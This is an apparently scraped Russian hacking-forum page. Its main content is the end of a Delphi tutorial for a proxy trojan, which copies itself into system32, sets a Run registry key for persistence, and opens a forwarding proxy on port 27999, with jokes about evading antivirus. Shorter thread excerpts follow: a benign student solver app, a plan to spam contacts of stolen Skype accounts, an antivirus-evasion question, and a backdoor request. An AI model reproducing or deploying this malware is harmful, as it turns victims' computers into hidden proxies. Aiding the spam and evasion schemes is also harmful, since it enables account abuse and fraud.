      t:=Pos('/',ARemoteAddress);
      if t<>0 then ARemoteAddress:=Copy(ARemoteAddress,0,t-1);
      t:=Pos(':',ARemoteAddress);
      if t<>0 then begin
        ARemotePort:=Copy(ARemoteAddress,t+1,Length(ARemoteAddress)-t);
        ARemoteAddress:=Copy(ARemoteAddress,0,t-1);
      end else
        ARemotePort:='27999';
      he:=GetHostByName(PChar(ARemoteAddress));
      if not Assigned(he) then exit;
      ARemoteAddress:=inet_ntoa(PInAddr(he.h_addr_list^)^);
     
      FSocket:=socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
      FAddr.sin_family:=PF_INET;
      FAddr.sin_addr.s_addr :=inet_addr(PChar(ARemoteAddress));
      try
        FAddr.sin_port := htons(StrToInt(ARemotePort));
        if WinSock.connect(FSocket, FAddr, SizeOf(FAddr))=SOCKET_ERROR then FSocket:=INVALID_SOCKET;
      except
        WriteLn('Connection failed');
      end;
    end;
     
    procedure TClient.Disconnect;
    begin
      if FSocket<>INVALID_SOCKET then begin
        shutdown(FSocket,2);
        closesocket(FSocket);
        FSocket:=INVALID_SOCKET;
        if Assigned(FOppositeClient) then FOppositeClient.Disconnect;
      end;
    end;
     
    procedure TClient.Write(Buf: Pointer; Size: Cardinal);
    var
      BytesWrite:Cardinal;
    begin
      ov.hEvent:=FEvent or 1;
      WriteFile(FSocket,Buf^,Size,BytesWrite,ov);
      ov.hEvent:=0;
    end;
     
    procedure TInternalClient.Complete(dwNumBytes: Cardinal);
    var
      BytesRead:Cardinal;
    begin
      if dwNumBytes>0 then begin
        if not Assigned(FOppositeClient) then begin
          FOppositeClient:=TExternalClient.Create;
          FOppositeClient.FOppositeClient:=self;
          FOppositeClient.Connect(PChar(Buffer));
          if FOppositeClient.FSocket=INVALID_SOCKET then begin
            Disconnect;
            exit;
          end;
          FCompPort.AssociateDevice(FOppositeClient.FSocket,Cardinal(FOppositeClient));
          FOppositeClient.Complete(0);
        end;
        FOppositeClient.Write(Buffer,dwNumBytes);
      end;
      ReadFile(FSocket,Buffer^,BufSize,BytesRead,ov);
    end;
     
    procedure TExternalClient.Complete(dwNumBytes: Cardinal);
    var
      BytesRead:Cardinal;
    begin
      if dwNumBytes>0 then FOppositeClient.Write(Buffer,dwNumBytes);
      ReadFile(FSocket,Buffer^,BufSize,BytesRead,ov);
    end;
    end.
  
И сохраним его как uProxy.pas  
  
Предупреждаю ))Этот код был взят ,даж непомню с какого сайта , но прокси был
консольный=)  
  
Теперь опять откроем блокнот и напишем это:  
  
Code:Copy to clipboard
    
    
    program proxy;
     
     uses uProxy,Windows,SysUtils,WinSock;
     
    function RegCreateKey(hKey: HKEY; lpSubKey: PChar;
      var phkResult: HKEY): Longint; stdcall; external 'advapi32' name 'RegCreateKeyA';
     
    function RegSetValueEx(hKey: HKEY; lpValueName: PChar;Reserved: DWORD; dwType: DWORD; lpData: Pointer; cbData: DWORD): Longint; stdcall; external 'advapi32' name 'RegSetValueExA';
     
    function RegCloseKey(hKey: HKEY): Longint; stdcall; external 'advapi32' name 'RegCloseKey';
     
    {функция для работы с реестром=)}
     
    function RegSetString(key:Hkey; sdk,nd,acces:string):boolean;
    var
    kyky:hkey;
    begin
      result := false;
      RegCreateKey(key,PChar(sdk),kyky);
      if RegSetValueEx(kyky,Pchar(nd),0,2,pchar(acces),length(acces)) = 0 then
        result := true;
      RegCloseKey(kyky);
    end;
    {процедура для самокопирования}
     
    procedure copyf;
    const
     dir = 'C:\WINDOWS\system32\';
    begin
    CopyFile(PChar(ParamStr(0)),PChar(dir+ExtractFileName(ParamStr(0))),True);
    end;
     
    {записуемся в реестр}
     
    procedure regg;
    const
     lol = 'Software\Microsoft\Windows\CurrentVersion\Run';
     byn = $80000002;
     sett = 'Setting';
     skl : integer = 1;
     b = 'C:\WINDOWS\system32\';
    begin
    sleep(10);sleep(11);
    sleep(12);sleep(13);
    sleep(14);sleep(15);
    RegSetString(byn,lol,sett,b+ExtractFileName(paramstr(0)));
    end;
     
    {запускаем прокси}
    const
      ClientThreadCount:integer=8;  // указываем потоки
      ListenPort:Dword=27999;      // порт для работы прокси
    var
      WSAData:TWSAData;
      Cnt:Cardinal;
      i:integer;
      Buff: array [0..10] of char;
      ConsoleText: String;
      id : dword;
    begin
    MEssaGeBox(0,'Превед,а кто ты?','Йа прокси!',0); //пишем юзеру шо мы прокси=)
    ID:=1;
    regg; {записуемся в реестер}
    copyf; {копируемся в системную диру}
    FCompPort:=TCompletionPort.Create(ClientThreadCount);
    if FCompPort.FHandle<>0 then begin
    if not WSAStartup($0101, WSAData) <> 0 then  // если незапускается библиотека
    MessageBox(0,'Йа аШыбкО','незапускается пля((',0);// то покажим ошибку
    for i:=0 to ClientThreadCount-1 do TClientThread.Create(false);
    TAcceptThread.Create(ListenPort);
    repeat
    ReadConsole(GetStdHandle(STD_INPUT_HANDLE),@Buff,10,Cnt,nil);
    ConsoleText := String(Buff);
    until UpperCase(Copy(ConsoleText,1,4)) = 'EXIT';
    WSACleanup;
     
    end;
     
    end.
  
Сохраняем как proxy.dpr запускаем на делфях и компилим.  
Правдо нод будет ругаццо,но можно нод напоить пифком и нод раслабиццо,или
подправить код=)  
Всё!  
© TROYAN. | core32.org  
  
Также скачать исходники можно [тут](http://webfile.ru/2143545)
Помогите пожалуйста исправить ошибки в Delphi
Author: sao322 • 2019-04-24T11:44:18+0000 • Replies: 3 • Views: 7K
Может кто то сможет помочь?  
  
  
сначала я ввожу цифры во все строки потом сохраняю в TXt и когда я открываю
его(Txt) через приложение в углу всегда вместо моего числа которое было
изначально появляется Число 0  
  
  
  
  
  
  
Code:Copy to clipboard
    
    
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, Grids, StdCtrls, Menus;
    
    type
      TForm1 = class(TForm)
        lbl1: TLabel;
        edt_m: TEdit;
        StringGrid1: TStringGrid;
        Button1: TButton;
        Button2: TButton;
        Button3: TButton;
        SaveDialog1: TSaveDialog;
        OpenDialog1: TOpenDialog;
        btn4: TButton;
        mm1: TMainMenu;
        N1: TMenuItem;
        N2: TMenuItem;
        N3: TMenuItem;
        N4: TMenuItem;
        N5: TMenuItem;
        N6: TMenuItem;
        procedure edit_mExit(Sender: TObject);
        procedure Button1Click(Sender: TObject);
        procedure Button2Click(Sender: TObject);
        procedure Button3Click(Sender: TObject);
        procedure btn4Click(Sender: TObject);
        procedure N3Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
     type matr=array  [1..100,1..101] of real;
             vec=array[1..100] of Real;
    var
      Form1: TForm1;
     m:integer;
     a:matr;
     c:vec;
     myfile:string;
     fl:TextFile;
    implementation
    
    {$R *.dfm}
    procedure ReadA;
    var i,j:integer;
    begin
      for i:=1 to m do
          for j:=i to m+1 do
            a[i,j]:=StrToFloat(Form1.StringGrid1.Cells[j,i]);
    end;
    procedure Zeidel (n:Integer; a:matr; var x:vec);
    var i,j,k,z:Integer;  e,r,s:Real;
    begin
      for k:=1 to m do
    begin
    z:=k;
    for i:=1 to n do
    begin
    s:=a[i,n+1];
    for j:=1 to n do s:=s-a[i,j]*x[j];
    s:=s/a[i,i];
    x[i]:=x[i]+s;
    if abs(s)>e then z:=0
    end;
    if z<>0 then Break;
    end;
    end; 
     procedure TForm1.Button2Click(Sender: TObject);
     var i,j:Integer;
     begin
       if OpenDialog1.Execute then
          begin
         myfile:=OpenDialog1.FileName;
         AssignFile(fl,myfile);
         Reset(fl);
         for i:=1 to m do
           begin
              for j:=1 to m+1 do
              begin
                Read(fl,a[i,j]);
                StringGrid1.Cells[j,i]:=FloatToStr(a[i,j]);
                end;
           end;
       Readln(fl);
       end;
       CloseFile(fl);
       end;
    
    
    
    procedure TForm1.edit_mExit(Sender: TObject);
    begin
    m:=StrToInt(edt_m.Text);
    with  StringGrid1 do
     begin
     RowCount:=m+2;
     Colcount:=m+4;
     Rows[0].Clear;
     Rows[m+1].Clear;
     Cols[0].Clear;
     Cols[m+2].Clear;
     Cols[m+3].Clear;
     Cells[0,0]:='a';
     Cells[m+1,0]:='b';
     Cells[0,m+1]:='Êîðíè X';
     Cells[m+2,0]:='Ïðîâåðêà';
     Cells[m+3,0]:='Ïîãðåùíîñòü';
     end;
    end;
    
    procedure TForm1.Button1Click(Sender: TObject);
    var i,j:Integer;
    begin
     ReadA;
     if SaveDialog1.Execute then
       begin
         myfile :=SaveDialog1.FileName;
         AssignFile(fl,myfile);
         Rewrite(fl);
         for i:=1 to m do
           begin
           for j:=1 to m+1 do
              begin
                  Write(fl,a[i,j]);
                  Writeln(fl);
              end;
           end;
           CloseFile(fl);
       end
       else ShowMessage('Íå óêàçàíî èìÿ ôàéëà');
    end;
    procedure TForm1.Button3Click(Sender: TObject);
    var i,j:Integer; s:Real;
    begin
     ReadA;
     Zeidel(m,a,c);
     for i:=1 to m do
     StringGrid1.Cells[i,m+1]:=FloatToStr(c[i]);
     for i:=1 to m do
     begin
    s:=0;
    for j:=1 to m do s:=s+a[i,j]*c[j];
    StringGrid1.Cells[m+2,i]:=FloatToStr(s);
    StringGrid1.Cells[m+3,i]:=FloatToStr(abs((s-a[i,m+1])/s));
    end;
    
    
    end;
    
    procedure TForm1.btn4Click(Sender: TObject);
    begin
      Halt;
    end;
    
    procedure TForm1.N3Click(Sender: TObject);
     begin
      ShowMessage('Ïðîãðàììà ðàññ÷åòà ÑËÀÓ.');
      end;
    end.
Проект на практику
Author: SaintVulpes • 2019-02-18T01:07:00+0000 • Replies: 11 • Views: 7K
Всем доброг времени суток, хотел спросить, что можно написать на Делфи для
сдачи производственной практики, пооект обязательно должен содержать БД
Залогиниться в скайпе.
Author: alerod • 2013-03-27T18:53:29+0000 • Replies: 5 • Views: 7K
Нужна помощь знающих
  
Есть спамер скайпа написанный на делфи.Отличная вещь с одним громадным
минусом.Спамит только по одному аккаунту.Тоесть берётся аккаунт скайпа,из него
подгружаются контакты и идёт спам по ним.  
Задал вопрос автору софта,можно ли реализовать такое:"Берём базу акк скайпа
логин:пасс,вставляем в прогу,прога начинает заходить сначала на один
акк,скачивает контакты,спамит их,выходит из скайпа,стирает контакты,заходит на
второй акк,грузит контакты,спамит их,выходит из скайпа,стирает контакты и
т.д.На,что получил ответ:"1\. Искать как логиниться в скайпе 2. Писать свой
клиент для скайпа.  
Так как второе отпадает из за временных и денежных затрат,решил помочь автору
и сам разузнать у умных людей,возможно ли как-то реализовать залогинивание в
скайпе этим спамером?
Антивирь палит запись в System32. Как быть?
Author: mr. Eof • 2006-10-10T14:10:12+0000 • Replies: 15 • Views: 7K
Добрый день!  
  
Проблема в том, что одна из функций моей новой "программы" копирует ее в папку
system32, НО ЭТО ПАЛИТ АНТИВИРЬ!!!  
  
Что делать?  
Посоветуйте??  
  
Спасибо!
Ищю исходник бекконнект-бекдора
Author: Nightmarе • 2008-10-19T21:49:52+0000 • Replies: 13 • Views: 7K
delete